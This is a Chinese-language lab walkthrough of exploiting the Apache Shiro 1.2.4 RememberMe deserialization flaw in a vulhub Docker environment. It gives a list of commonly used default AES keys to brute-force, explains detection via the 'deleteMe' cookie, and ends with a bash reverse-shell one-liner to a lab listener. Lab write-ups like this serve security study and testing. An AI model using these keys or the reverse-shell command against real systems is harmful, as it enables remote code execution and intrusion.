Apache Shiro 1.2.4反序列化漏洞
前言
shiro是Java的一款框架,主要用于身份验证这方面,在Apahce Shiro1.2.4之前的版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。实际上,只要Shiro RememberMe的AES密钥被泄露,就会产生反序列化漏洞。
所以今天来记录下shiro的漏洞利用方式。
正文
环境搭建
进入vulhub/shiro/CVE-2016-4437,开启靶场环境
docker-compose up -d
开启后访问靶机IP:8080端口,可以看到登录页面,即可以使用admin:123456登录。
漏洞探测
我们随便输入用户和密码进行抓包,注意此时不点击Remember Me:
然后放包,重新抓包,此时点击的Remember Me,情况如下:
此时回包里出现deleteMe,说明可能存在shiro反序列化漏洞。
漏洞利用
要想实现shiro反序列化漏洞,就必须要知道它的Key,这个一般通过DNSlog注入获取,常见的Key如下
kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==
首先需要爆破AES密钥,这边爆破出第一个
然后进行密钥检测,存在Shiro框架,然后选择利用链来构造回显方式,成功发现利用链,即可利用功能区
进行命令执行,成功回显:
构*弹shell语句,进行反弹
bash -c 'exec bash -i &>/dev/tcp/192.168.37.134/8080 <&1'
监听端成功getshell